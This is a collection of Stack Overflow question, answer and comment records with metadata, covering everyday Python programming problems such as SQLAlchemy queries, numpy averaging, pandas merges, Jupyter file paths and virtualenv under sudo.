has body: When learning SQLAlchemy, the where() clause in a query works like a magic since it expresses things quite naturally. However, I couldn't understand why it works in this way. Consider this query: .where(MyTable.MyColumn == 1) In theory, the parameter passed in Python is its value (reference could be considered as pointer value from my perspective), so MyTable.MyColumn == 1 is estimated (as a value) and then passed to the function. However, how this function behaves is like "estimating the value when executing the actual query" (i.e. just like a real SQL WHERE clause). I understand a similar behavior in NumPy (e.g. np.argwhere(myarray &gt; 0)) is achieved by returning the boolean value of each element estimated in this condition and then performing actions on it. E.g. np.asarray([[0,1,2],[1,2,0]]) &gt; 0 would result in array([[False,True,True],[True,True,False]], dtype=bool) and np.argwhere() simply operates on this value. I think SQLAlchemy may use a similar technique, but I still couldn't think out how they actually achieved it. Could anyone give a brief explanation on why and how it works?
answer count: 1
tagged with: sqlalchemy
favorite count: 0
type: Question
downvote count: 0
tagged with: python
score: 4
has title: How does the "where()" work in SQLAlchemy
has comment: http://stackoverflow.com/comment/80807985
accepted answer: http://stackoverflow.com/a/46920145
upvote count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46920145

http://stackoverflow.com/comment/118328248
type: AnswerComment
score: 0
has text: please add a ref: https://django-autoslug.readthedocs.io/en/latest/fields.html
type: Comment
comment on: http://stackoverflow.com/a/47052311

http://stackoverflow.com/q/47060685
upvote count: 7
tagged with: tensorflow
favorite count: 0
type: Question
has title: Chamfer distance between two point clouds in tensorflow
type: UnansweredQuestion
tagged with: session
has body: I am trying to implement chamfer distance in tensorflow. But, my code is taking input as numpy array. To convert a numpy into a tensor, we need to run a session, but the process is already in another session. I think two sessions can't run in parallel. So, can anyone help me with the implementation of chamfer distance in tensorflow or help me with this problem of two simultaneous sessions? my code is: def chamfer_distance(array1,array2): # final = 0 # final = tf.cast(final,tf.float32) batch_size = array1.get_shape()[0].value num_point = array1.get_shape()[1].value sess = tf.Session() arr1,arr2 = sess.run([array1,array2]) del sess dist = 0 for i in range(batch_size): tree1 = KDTree(arr1[i], leafsize=num_point+1) tree2 = KDTree(arr2[i], leafsize=num_point+1) distances1, _ = tree1.query(arr2[i]) distances2, _ = tree2.query(arr1[i]) distances1 = tf.convert_to_tensor(distances1) distances2 = tf.convert_to_tensor(distances2) av_dist1 = tf.reduce_mean(distances1) av_dist2 = tf.reduce_mean(distances2) dist = dist + (av_dist1+av_dist2)/batch_size return dist
tagged with: python
has comment: http://stackoverflow.com/comment/81098873
has comment: http://stackoverflow.com/comment/81099694
has comment: http://stackoverflow.com/comment/81175874
score: 7
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/54767428
tagged with: numpy

http://stackoverflow.com/comment/80771483
has text: Only the `fill` and `font` retain the user given values when a style is loaded. `alignment` and `protection` are defaulted to the respective values of `Normal` named style. I don't think it's an expected behavior, can be a bug.
comment on: http://stackoverflow.com/q/46909768
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80913039
comment on: http://stackoverflow.com/a/46982739
has text: Aha! Missed that.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/93469063
score: 0
type: Comment
has text: Does pool have a close method? http://initd.org/psycopg/docs/pool.html I don't see it. The docs say "This pool class is mostly designed to interact with Zope and probably not useful in generic applications" eek. It's a client-side container for connections, so whether or not to close the connections seems more pertinent than closing the `pool`. `pool` does have a `closeall()` method, if really necessary, but exactly as you've said it won't be an issue because the connection objects will be deleted by GC and the server will at worst take a short while to work that out.
type: AnswerComment
comment on: http://stackoverflow.com/a/51129561

http://stackoverflow.com/q/46969067
answer count: 2
has answer: http://stackoverflow.com/a/46976717
linked to: http://stackoverflow.com/q/1558385
upvote count: 0
downvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
has title: Deploying C++ program with python embedded
tagged with: windows
has answer: http://stackoverflow.com/a/46970435
tagged with: python
score: -1
has body: I have a Qt C++ project in which, for some functionality,I have added Python. The C++ function calls python script and returns the values.Like the below Example. PyObject *pName,*pModule,*pFunc; PyObject *pArgs,*pValue; const char *module="getBeamData"; pName=PyUnicode_FromString(module); pModule=PyImport_Import(pName); if(pModule!=NULL){ pFunc=PyObject_GetAttrString(pModule,"getBeamDose"); if(pFunc&amp;&amp;PyCallable_Check(pFunc)){ pArgs=PyTuple_New(2); PyTuple_SetItem(pArgs,0,PyBytes_FromString(path.toStdString().c_str())); PyTuple_SetItem(pArgs,1,PyLong_FromLong(fraction)); pValue=PyObject_CallObject(pFunc,pArgs); It calls the script getBeamdata.py. Functionality works fine. Do I have to install python and libraries(like numpy) for all customer and ship script ? Or is there any other way without sending script.
tagged with: qt
tagged with: c++

http://stackoverflow.com/a/47062180
has comment: http://stackoverflow.com/comment/81083480
has body: In general you want to avoid (potentially slow) python-based looping and let numpy do (faster) c-based looping (or no looping at all). Most people would call the approach of removing explicit loops as (numpy-)vectorization which is usually very important if going for performance. The following example creates 5 numpy-arrays with size (3,3) (the matrix-type, which also exists, is kind of deprecated, not used here and most numpy-users should use arrays as replacement for matrices) and calculate a new matrix containing all the averages with the same shape (elementwise-mean over matrix-cells; we are interpreting the 2d-arrays as a matrix). Code: import numpy as np a, b, c, d, e = [np.random.randint(0, 5, size=(3,3)) for i in range(5)] all = np.stack((a, b, c, d, e), axis=0) print(all.shape) x = np.mean(all, axis=0) print(a) print(b) print(c) print(d) print(e) print(x) Out: (5, 3, 3) [[0 0 0] [0 1 0] [2 4 0]] [[4 2 0] [3 3 4] [0 4 0]] [[3 4 0] [2 2 1] [0 0 4]] [[3 1 2] [4 3 4] [2 0 3]] [[3 4 2] [3 1 0] [1 0 0]] [[ 2.6 2.2 0.8] [ 2.4 2. 1.8] [ 1. 1.6 1.4]] If you still want to loop, you can just use a nested loop like: for row in range(array.shape[0]): for col in range(array.shape[1]): cell_value = array[row, col] ... given an array of 2 dimensions.
score: 0
upvote count: 1
type: AcceptedAnswer
downvote count: 1
accepted answer of: http://stackoverflow.com/q/47062007
answers question: http://stackoverflow.com/q/47062007
type: Answer

http://stackoverflow.com/q/46925144
has comment: http://stackoverflow.com/comment/80814660
has body: This is my HTML code for a button: &lt;td&gt; &lt;button type="button" onclick="window.location='admin_finalpage.html'" class="btn btn-primary"&gt; &lt;i class="fa fa-ambulance"&gt;&lt;/i&gt;&amp;nbsp;Ambulance 1 &lt;/button&gt; &lt;/td&gt; I want to run a Python file or function that calculates the exact time of arrival. If I click on this, that redirects to admin_finalpage and shows time on page.
has comment: http://stackoverflow.com/comment/80816433
type: UnansweredQuestion
tagged with: python
tagged with: bottle
has title: How to run Python function if I click HTML button in Bottle framework
score: 2
answer count: 0
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
favorite count: 0
type: Question
upvote count: 2

http://stackoverflow.com/comment/80828240
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/46940502
has text: Added - Thanks for the help!

http://stackoverflow.com/q/46914781
score: 1
upvote count: 1
has title: Python Pandas - Rename and merge of 3 datasets
has answer: http://stackoverflow.com/a/46914917
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80777028
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80776948
tagged with: rename
tagged with: python
tagged with: merge
has body: I want to change the common variables' name for the 3 datasets and then merge them but it seems that the rename doesn't change var name as EID, how can I solve it? Also, can I merge 3 datasets using pd.merge command, instead of doing 1:1 for all? Thanks data1516 = pd.read_csv('C:/data2015_2016.csv', sep='|', names=None, header=1, encoding='latin-1') data1617 = pd.read_csv('C:/data2016_2017.csv', sep='|', names=None, header=1, encoding='latin-1') data1718 = pd.read_csv('C:/data2017_2018.csv', sep='|', names=None, header=1, encoding='latin-1') data1516.rename(index=str, columns={"Employer: ID" : "EID"}) data1617.rename(index=str, columns={"Employer: ID" : "EID"}) data1718.rename(index=str, columns={"Employer: ID" : "EID"}) data1517 = pd.merge(data1516, data1617, on='EID', how='outer')
has comment: http://stackoverflow.com/comment/80776787
has comment: http://stackoverflow.com/comment/80776792
has comment: http://stackoverflow.com/comment/80776723
has answer: http://stackoverflow.com/a/46914860
answer count: 2
downvote count: 0
tagged with: pandas

http://stackoverflow.com/comment/80900224
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/46974214
has text: But the problem really is, that if I collect all the data before, I have not done anything, as memory footprint remains.

http://stackoverflow.com/a/47052237
score: 1
upvote count: 1
has body: Your problem is here (copied your comment): @georgexsh I was running it using sudo. By default if you use sudo then it will use system python. So, I have used "sudo venv/bin/python main.py" to run the program. Even though I am using venv's python here it returns "/usr/bin/python" for "os.system('which python')". I don't understand this behaviour Basically, what you explain here is something where your virtualenv is not active. When you activate a virtualenv (. venv/bin/activate), the activation script will change your environment so that your PYTHONPATH is correct and Python executable is searched (and found) first in the virtual env directory. This is what virtualenv does. By just executing the Python binary from virtualenv directories, your environment is not set for the virtual environment, so any subsequent calls to Python use your default path - as virtualenv is not there to override it. When you execute sudo, a new process/shell is created and it does not inherit your virtual environment. You might be able to use sudo -E to pass environment but it depends on your sudo. The bulletproof version that should work in every environment is to execute a shell that first activates virtualenv and then executes your script. Something like this: sudo -- bash -c ". /home/test/mytest/bin/activate; which python" This executes a bash shell as root, then activates the virtual environment and finally tells you which python it uses. Just modify the above command with your virtual environment path and it might even work. If your system is shared, just keep in mind that this is a horrible thing to allow your regular users do from security perspective. If you create a passwordless sudo for your regular users to do this, it would give them root access with little tweaking. If it is your own system and the requirement is the knowledge of root password anyway, it does not matter.
has comment: http://stackoverflow.com/comment/81166883
answers question: http://stackoverflow.com/q/46978624
type: Answer
has comment: http://stackoverflow.com/comment/81186463
has comment: http://stackoverflow.com/comment/81183319
downvote count: 0

http://stackoverflow.com/q/46960030
has comment: http://stackoverflow.com/comment/80907780
type: Question
upvote count: 0
has body: How can I add a single row to binary table inside large fits file using pyfits, astropy.io.fits or maybe some other python library? This file is used as a log, so every second a single row will be added, eventually the size of the file will reach gigabytes so reading all the file and writing it back or keeping the copy of data in memory and writing it to the file every seconds is actually impossible. With pyfits or astropy.io.fits so far I could only read everything to memory add new row and then write it back. Example. I create fits file like this: import numpy, pyfits data = numpy.array([1.0]) col = pyfits.Column(name='index', format='E', array=data) cols = pyfits.ColDefs([col]) tbhdu = pyfits.BinTableHDU.from_columns(cols) tbhdu.writeto('test.fits') And I want to add some new value to the column 'index', i.e. add one more row to the binary table.
tagged with: python
accepted answer: http://stackoverflow.com/a/47066036
tagged with: astropy
score: -2
has comment: http://stackoverflow.com/comment/80900364
has answer: http://stackoverflow.com/a/47066036
has title: Pyfits or astropy.io.fits add row to binary table in fits file
has comment: http://stackoverflow.com/comment/80868716
has comment: http://stackoverflow.com/comment/80900675
tagged with: pyfits
has comment: http://stackoverflow.com/comment/80901809
has comment: http://stackoverflow.com/comment/80900525
tagged with: fits
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80908393
downvote count: 2
has comment: http://stackoverflow.com/comment/80878983
has comment: http://stackoverflow.com/comment/81039423
answer count: 1
favorite count: 0

http://stackoverflow.com/q/46972225
tagged with: python
answer count: 16
has answer: http://stackoverflow.com/a/52858398
has answer: http://stackoverflow.com/a/58258730
has answer: http://stackoverflow.com/a/48089005
has answer: http://stackoverflow.com/a/57454947
upvote count: 34
has answer: http://stackoverflow.com/a/46981096
has answer: http://stackoverflow.com/a/46972359
has answer: http://stackoverflow.com/a/46972377
has body: In[1]: path='/Users/apple/Downloads/train.csv' open(path).readline() Out[1]: FileNotFoundError Traceback (most recent call last) &lt;ipython-input-7-7fad5faebc9b&gt; in &lt;module&gt;() ----&gt; 1 open(path).readline() FileNotFoundError: [Errno 2] No such file or directory: '/Users/apple/Downloads/train.csv' I'm confused a lot.I thought this code is exactly similar with many tutorials, and I'm sure I have this file in the right path, but why does it not works?
has answer: http://stackoverflow.com/a/72624444
has title: How to open local file on Jupyter?
tagged with: jupyter
has answer: http://stackoverflow.com/a/72867331
has answer: http://stackoverflow.com/a/78893193
downvote count: 1
score: 33
favorite count: 0
tagged with: jupyter-notebook
has comment: http://stackoverflow.com/comment/80892022
has answer: http://stackoverflow.com/a/72276818
has answer: http://stackoverflow.com/a/64238992
type: Question
has answer: http://stackoverflow.com/a/46988849
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/73912850
has comment: http://stackoverflow.com/comment/118689204
has answer: http://stackoverflow.com/a/71949330
has answer: http://stackoverflow.com/a/78931289

http://stackoverflow.com/comment/80896960
type: AnswerComment
comment on: http://stackoverflow.com/a/46974751
score: 0
has text: This is so simple
type: Comment

http://stackoverflow.com/q/47018085
duplicate of: http://stackoverflow.com/q/18566590
type: AnsweredQuestion
score: 0
has title: mongodb remove document that match each element in array
has answer: http://stackoverflow.com/a/47018432
has answer: http://stackoverflow.com/a/47018593
accepted answer: http://stackoverflow.com/a/47018593
type: Question
tagged with: mongodb
answer count: 2
possible better answer: http://stackoverflow.com/a/47018432
has body: mongodb {'id':'a'} {'id':'b'} {'id':'c'} {'id':'d'} ...... python pool = ['a','b','c'] for element in pool: mongodb.remove({'id':element}) Just like such situation. I have a list, as id list. And I want to remove each one from mongodb. is there any method better than do it one by one?
linked to: http://stackoverflow.com/q/18566590
tagged with: python

http://stackoverflow.com/comment/81050592
comment on: http://stackoverflow.com/a/47049959
type: Comment
score: 0
type: AnswerComment
has text: can you show me how spl_mismatch and mismatch being calculated?what should be spl_mismatch and mismatch for X=['NKXD','NKXD','NKXD','NKXD','NKXD'] and Y=['QSII','SIIA','IIAI','AIIR','IIRA']

http://stackoverflow.com/comment/81078021
type: Comment
comment on: http://stackoverflow.com/a/47056491
score: 0
type: AnswerComment
has text: @nvachhan: are you using a public API or is it something custom?

http://stackoverflow.com/a/46992311
score: 1
has body: There should be only one return in a function but you have 3. Change the below lines from return n return p1 return p2 to return [n,p1,p2] then change print statement as print FindingTwoPrimes(n, p1, p2) Also code in your function is wrong. Please change that as well import random def FindingTwoPrimes(n, p1, p2): primeList = [] for num in range(1,101): if all(num%i!=0 for i in range(2,num)): primeList.append(num) lengthOfPrimelist = len(primeList) p1 = primeList[random.randint(0,lengthOfPrimelist)] p2 = primeList[random.randint(0,lengthOfPrimelist)] n = p1 * p2 return [p1,p2,n] print FindingTwoPrimes(10, 11, 12)
type: Answer
answers question: http://stackoverflow.com/q/46992286
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46992286
has comment: http://stackoverflow.com/comment/80931932
has comment: http://stackoverflow.com/comment/80931980
downvote count: 0

http://stackoverflow.com/comment/81074265
score: 0
comment on: http://stackoverflow.com/q/47061791
has text: @AndrewL expressing it in a way that is natural in pandas and thus faster than manual iteration. I think this is clear and you're being pedantic for its own sake. "best way" is an idiom.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81179841
type: Comment
comment on: http://stackoverflow.com/a/47039089
score: 0
type: AnswerComment
has text: But I need to initialize the states more than one time. For each batch I have an initialization because 1 batch corresponds to one context vector.

http://stackoverflow.com/q/46977371
tagged with: python
has body: I am trying to understand what is the problem with the following code: import pymc3 as pm import theano as t X = t.shared(train_new) features = list(map(str, range(train_new.shape[1]))) with pm.Model() as logistic_model: glm = pm.glm.GLM(X, targets, labels=features, intercept=False, family='binomial') trace = pm.sample(3000, tune=3000, jobs=-1) The dataset is by no means big: its shape is (891, 13). Here is what I concluded on my own: the problem is surely not the hardware because the performance is the same both on my laptop and on a c4.2xlarge AWS instance; it cannot be theano.shared because if I remove it the performance is again the same; the problem does not appear to be in pymc3.glm.GLM because when I manually build the model (which is probably simpler than the one in GLM) the performance is just as terrible: with pm.Model() as logistic_model: invlogit = lambda x: 1 / (1 + pm.math.exp(-x)) σ = pm.HalfCauchy('σ', beta=2) β = pm.Normal('β', 0, sd=σ, shape=X.get_value().shape[1]) π = invlogit(tt.dot(X, β)) likelihood = pm.Bernoulli('likelihood', π, observed=targets) It starts at around 200 it/s and the quickly falls to 5 it/s. After half sampling, it decreases further to around 2 it/s. This is a serious problem, as the model barely converges with a couple of thousands of samplings. I need to perform many more samples than what this situation currently allows. This is the log: Auto-assigning NUTS sampler... Initializing NUTS using jitter+adapt_diag... 99%|█████████▊| 5923/6000 [50:00&lt;00:39, 1.97it/s] I tried with pm.Metropolis() as step, and it was a bit faster but it didn't converge. MWE: a file with a minimal working example showing the issue and the data is here: https://gist.github.com/rubik/74ddad91317b4d366d3879e031e03396
accepted answer: http://stackoverflow.com/a/46999524
tagged with: pymc3
has title: PyMC3 performance issues with No U-Turn Sampler (NUTS): less than 2 iterations per second with simple model
answer count: 1
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/46999524
favorite count: 0
type: Question
type: AnsweredQuestion
score: 0
tagged with: theano

http://stackoverflow.com/a/47001820
has comment: http://stackoverflow.com/comment/80950434
upvote count: 9
has comment: http://stackoverflow.com/comment/80950486
has comment: http://stackoverflow.com/comment/80955470
answers question: http://stackoverflow.com/q/47001777
has comment: http://stackoverflow.com/comment/80954826
type: Answer
has comment: http://stackoverflow.com/comment/80950360
score: 9
has body: If you were only interested in '(' or ')' then str.partition would have been sufficient. Since you have multiple delimiters AND you want to keep them, you can use re.split with a capture group: import re s = "123(45)678" print(re.split(r'([()])', s)) # ['123', '(', '45', ')', '678']
downvote count: 0
has comment: http://stackoverflow.com/comment/80957783

http://stackoverflow.com/comment/80840310
type: Comment
comment on: http://stackoverflow.com/q/46946538
type: QuestionComment
score: 0
has text: Try constructing a `dict` and then pass it around the way you like, Django template can easily iterate dicts and accessing attributes is possible via `.` operator.

http://stackoverflow.com/comment/81063765
type: QuestionComment
has text: Definately an encoding problem. The string should be `var s = 'x\x9c\xabVJ\xcb\xcfW\xb2RPJJ,R\xaa\x05\x00 \x98\x04T'`
comment on: http://stackoverflow.com/q/47057832
score: 0
type: Comment

http://stackoverflow.com/a/46991934
has body: To get the labelImg package (from the link you gave) working on OSX High Sierra, I needed to do the following. First installed the missing lxml dependency using the solution in this answer Also brew install qt qt5 brew install libxml2 brew install pyqt5 After installing pyqt5, ensure that pyrcc5 can be run from the command line. Download and unzip the labelImg .zip file from the link, and cd into the unzipped folder. Then make qt5py3 When trying to run, I found it necessary to simplify the libs/usty.py file to remove the PyQt4 dependency. I just changed it to: import sys def ustr(x): return x At this point I can run the program with python labelImg.py Hope this is useful.
has comment: http://stackoverflow.com/comment/126551103
upvote count: 19
accepted answer of: http://stackoverflow.com/q/46986431
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46986431
has comment: http://stackoverflow.com/comment/89440232
score: 19
type: Answer

http://stackoverflow.com/a/46914706
has body: If a method doesn't interact with self, I'd make it @staticmethod. Especially for public APIs it's confusing if a method isn't static when it could be. For example: class File(object): BUFFERSIZE = 65536 def __init__(self, path): self.path = path self.descriptor = None @staticmethod def get_buffersize(): return File.BUFFERSIZE def open(self, mode): self.descriptor = open(self.path, mode) def close(self): self.descriptor.close() Obviously a stupid class but you get the idea, hopefully. In fact, in a real world application I'd make get_buffersize a buffersize property of File.
type: Answer
accepted answer of: http://stackoverflow.com/q/46914572
upvote count: 2
score: 2
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46914572

http://stackoverflow.com/comment/81023766
comment on: http://stackoverflow.com/a/47038548
type: AnswerComment
has text: @user3521180 "not working" is not enough information to help.
score: 0
type: Comment

http://stackoverflow.com/a/46936502
answers question: http://stackoverflow.com/q/46936397
has body: The main problem is that {(.*)} matches the longest string starting by { and ending by }, which in some cases is y,z,w},erore={3,4,5 You could use non-greedy matching by adding ?. You don't need any other case. import re i='n=1,x={y,z,w},erore={3,4,5}' j='n=1,x={y,z,w}' expr = 'x={(.*?)}' print (re.search(expr,i).group(1)) print (re.search(expr,j).group(1)) result: y,z,w y,z,w
upvote count: 3
score: 3
type: Answer
downvote count: 0

http://stackoverflow.com/a/46972127
has comment: http://stackoverflow.com/comment/80896931
downvote count: 0
has comment: http://stackoverflow.com/comment/80892343
has comment: http://stackoverflow.com/comment/80895463
has comment: http://stackoverflow.com/comment/80894492
upvote count: 37
has body: import h2o import pandas as pd df = pd.DataFrame({'col1': [1,1,2], 'col2': ['César Chávez Day', 'César Chávez Day', 'César Chávez Day']}) hf = h2o.H2OFrame(df) Since the problem that you are facing is due to the high number of NANs in the dataset, this should be handled first. There are two ways to do so. Replace NAN with a single, obviously out-of-range value. Ex. If a feature varies between 0-1 replace all NAN with -1 for that feature. Use the class Imputer to handle NAN values. This will replace NAN with either of mean, median or mode of that feature.
type: Answer
answers question: http://stackoverflow.com/q/46971969
has comment: http://stackoverflow.com/comment/80892201
has comment: http://stackoverflow.com/comment/80892045
score: 37
has comment: http://stackoverflow.com/comment/80892070
has comment: http://stackoverflow.com/comment/80891911

http://stackoverflow.com/q/46976956
has answer: http://stackoverflow.com/a/53901589
favorite count: 0
has body: I want to convert dictionary to xml in python, I am using dicttoxml for that. My code looks like this: >>> import os >>> filepath=os.path.normpath('C:\\Users\\\\Desktop\\abc\\bc.txt') >>> with open(filepath,'r') as f: ... for line in f: ... x=line.split(':') ... x[-1]=x[-1].strip() ... a=x[0] ... b=x[1] ... d[a]=b ... xml = dicttoxml(d,custom_root='doc',attr_type=False) ... xml2 = parseString(xml) ... xml3 = xml2.toprettyxml() ... print( xml3 ) The output is like this: <?xml version="1.0" ?> B000GKXY34 Nun Chuck, Novelty Nun Toss Toy 17.99 ADX8VLDUOL7BG M. Gingras 0/0 5.0 1262304000 Great fun! Got these last Christmas as a gag gift. They are great fun, but obviously this is not a toy that lasts! but I want to replace the key name with field name. B000GKXY34 This is the dictionary generated by the code: {'product/productId': 'B000GKXY34', 'product/title': 'Nun Chuck, Novelty Nun Toss Toy', 'product/price': '17.99', 'review/userId': 'ADX8VLDUOL7BG', 'review/profileName': 'M. Gingras', 'review/helpfulness': '0/0', 'review/score': '5.0', 'review/time': '1262304000', 'review/summary': 'Great fun!', 'review/text': 'Got these last Christmas as a gag gift. They are great fun, but obviously this is not a toy that lasts!'} And also i want to write that xml in a new file,i am trying with write function but its not working: with open ('filename','w') as output: output.write(xml3)
has comment: http://stackoverflow.com/comment/80905216
downvote count: 3
has title: Customizing dictionary conversion with dicttoxml?
has answer: http://stackoverflow.com/a/46977182
tagged with: http://stackoverflow.com/tag/xml
type: Question
tagged with: dicttoxml
answer count: 2
type: UnansweredQuestion
score: -2
upvote count: 1
tagged with: python
tagged with: dictionary

http://stackoverflow.com/q/47005577
tagged with: python
has comment: http://stackoverflow.com/comment/80957765
has comment: http://stackoverflow.com/comment/80989687
has body: I was wondering how I could convert SQLite into a easily readable .txt file format. I was wondering how I could go about doing this as when I tried I either got a few errors or it would convert but leave in symbols making it harder for someone (who does not know code) to read. Here is my current code: #Modules import hashlib import sqlite3 #Database setup db = sqlite3.connect('users.db') c = db.cursor() #Creating the table and columns c.execute(''' CREATE TABLE IF NOT EXISTS Users (ID INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT) ''') def register(): username = input("Please create a username: ") realpass = input("Please create a password: ").encode('utf-8') hexpass = hashlib.sha256(realpass) password = hexpass.hexdigest() c.execute('''INSERT INTO Users(username, password) VAlUES(?,?)''', (username, password)) db.commit()#Saving the DB start() def login(): username = input("Please enter a username: ") realpass = input("Please enter a password: ").encode('utf-8') hexpass = hashlib.sha256(realpass) password = hexpass.hexdigest() finduser =('SELECT FROM Users WHERE username = ? AND password =?') c.execute(finduser,[(username), (password)]) results = c.fetchall() if results: print("Welcome " +username) question() else: print("Sorry wrong login details.") start() def start(): start1 = input("1.Register 2.Login: ") if start1 == "1": register() elif start1 == "2": login() else: print("Sorry invalid option") start() start()
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/81031904
type: UnansweredQuestion
has title: Python, converting SQLite into a txt file without symbols
has comment: http://stackoverflow.com/comment/80985989
score: 0
has comment: http://stackoverflow.com/comment/81026423
tagged with: sqlite

http://stackoverflow.com/q/46959449
tagged with: mocking
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/46959675
has title: Mocking two functions in a method of another class
type: Question
tagged with: python-unittest
tagged with: python
has body: I've read multiple posts but I just not getting it and I've used the same methodology elsewhere and it worked but that was a method in another class, not a function. plugins/iaw_api/helpers.py: import requests import json def https_post_json(request_url, headers, data, timeout=20): response = requests.post(request_url, json=data, headers=headers, timeout=timeout) return json.loads(response.content) plugins/iaw_api/iaw_api_runners.py: from plugins.iaw_api.helpers import https_post_json class IawApiRunner(object): def __init__(self, runner_class_in): self._runner_data_class = runner_class_in self.result = None def run_job(self): if type(self._runner_data_class) == SomeRunner: self._this_runner() def _this_runner(self): _task_id = https_post_json(&lt;request-content&gt;) print _task_id tests/iaw_api/tests.py: from plugins.iaw_api.helpers import https_post_json from plugins.iaw_api.iaw_api_runners import IawApiRunner class TestApiRunners(unittest.TestCase): def __init__(self, *args, **kwargs): super(TestApiRunners, self).__init__(*args, **kwargs) self.test_runner = IawApiRunner(SomeRunner) def test_single_run_no_error(self): with mock.patch('plugins.iaw_api.helpers.https_post_json') as MockPost: MockPost.return_value = {'status_id': '59f0681cf9c32000132c7e89'} self.test_runner.run_job() This is simplified and I've yet to add the assertions. The issue is when I run the test the actual http_post goes off to the API instead of the response being the mock return value.
score: 0

http://stackoverflow.com/comment/81015989
type: AnswerComment
type: Comment
has text: Apologies Jezrael, i realise that Category C was missing from my question (@Bharath - well spotted). If you are able to offer a solution for a variable number of input dataframes too that would be fantastic.
comment on: http://stackoverflow.com/a/47034544
score: 0

http://stackoverflow.com/q/46973057
type: Question
has title: plotting a sympy plot in web2py
tagged with: sympy
has body: I want to plot a sympy plot in web2py by writing a web2py function myplot4() and call it using http://host:port/app/controller/myplot4.png This is the demo sympy code for a plot which works in a python shell. from sympy import symbols from sympy.plotting import plot x = symbols('x') p1 = plot(x*x) p2 = plot(x) p1.append(p2[0]) p1 I found a recipe in http://www.web2pyslices.com/slice/show/1357/matplotlib-howto This recipe works fine but it imports FigureCanvasAgg and Figure whereas in sympy the import is plot function Can somebody tell me how to write similar functions for plotting sympy plot in web2py based on this recipe (or otherwise) from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas from matplotlib.figure import Figure def pcolor2d(title='title',xlab='x',ylab='y', z=[[1,2,3,4],[2,3,4,5],[3,4,5,6],[4,5,6,7]]): fig=Figure() fig.set_facecolor('white') ax=fig.add_subplot(111) if title: ax.set_title(title) if xlab: ax.set_xlabel(xlab) if ylab: ax.set_ylabel(ylab) image=ax.imshow(z) image.set_interpolation('bilinear') canvas=FigureCanvas(fig) stream=cStringIO.StringIO() canvas.print_png(stream) return stream.getvalue() then try actions like the following: def myplot2(): response.headers['Content-Type']='image/png' return pcolor2dt(z=[[1,2,3,4],[2,3,4,5],[3,4,5,6],[4,5,6,7]]) and call them with http://host:port/app/controller/myplot2.png
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47208148
tagged with: python
tagged with: plot
tagged with: web2py
score: 0
tagged with: matplotlib
answer count: 1

http://stackoverflow.com/comment/112229089
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47570483
has text: Hi @BigMcLargeHuge, please see this section on the linked docs: https://flask.palletsprojects.com/en/0.12.x/config/#development-production. I don't think you need `http://` in localhost, it should work either way

http://stackoverflow.com/comment/81072396
type: Comment
comment on: http://stackoverflow.com/a/47042048
type: AnswerComment
score: 0
has text: Thanks for the link! This is exactly what I'm trying to do.

http://stackoverflow.com/q/46958999
has comment: http://stackoverflow.com/comment/80866697
has comment: http://stackoverflow.com/comment/80866797
type: Question
score: 0
linked to: http://stackoverflow.com/q/1541797
answer count: 3
has answer: http://stackoverflow.com/a/46959052
possible better answer: http://stackoverflow.com/a/46959037
tagged with: function
has comment: http://stackoverflow.com/comment/80866374
duplicate of: http://stackoverflow.com/q/1541797
has answer: http://stackoverflow.com/a/46959037
upvote count: 1
has title: finding duplicates in a list using LEN?
downvote count: 1
favorite count: 0
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/80866612
accepted answer: http://stackoverflow.com/a/46959086
tagged with: python
has body: Okay, so the assignment is: Associate True with the variable has_dups if the list list1 has any duplicate >elements (that is if any element appears more than once), and False otherwise. Okay, so did some searching and found a couple different ways to search for the presence of duplicates. But here is where it gets... weird. The system for my homework is telling me these methods are wrong and that I should be using LEN. Um... how will knowing the length of a list help me find out if there are duplicates in the list? Like if I have myList = [200,200,201,202] okay Len will tell me that I have 4 items in there. So... what does that do to help me find duplicates?
has answer: http://stackoverflow.com/a/46959086

http://stackoverflow.com/comment/80995549
has text: Thanks but it stop scraping when theres no data (attribute error )how to continue with other pages
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47022236

http://stackoverflow.com/comment/81018204
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47033918
has text: Can you give me a test case where the result is wrong, I did test it on trivial cases

http://stackoverflow.com/comment/80972079
score: 0
has text: Yes. In my case the link/URL.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46971448

http://stackoverflow.com/comment/80760196
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46906503
type: AnswerComment
has text: I've always put all in there. Single location :)

http://stackoverflow.com/comment/80861057
has text: I will recommend careful use `lreshape`, if you want some function see my answer.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46956370

http://stackoverflow.com/q/47064528
has answer: http://stackoverflow.com/a/47064613
linked to: http://stackoverflow.com/q/8024248
type: Question
type: AnsweredQuestion
score: 0
has title: Capture and save running process
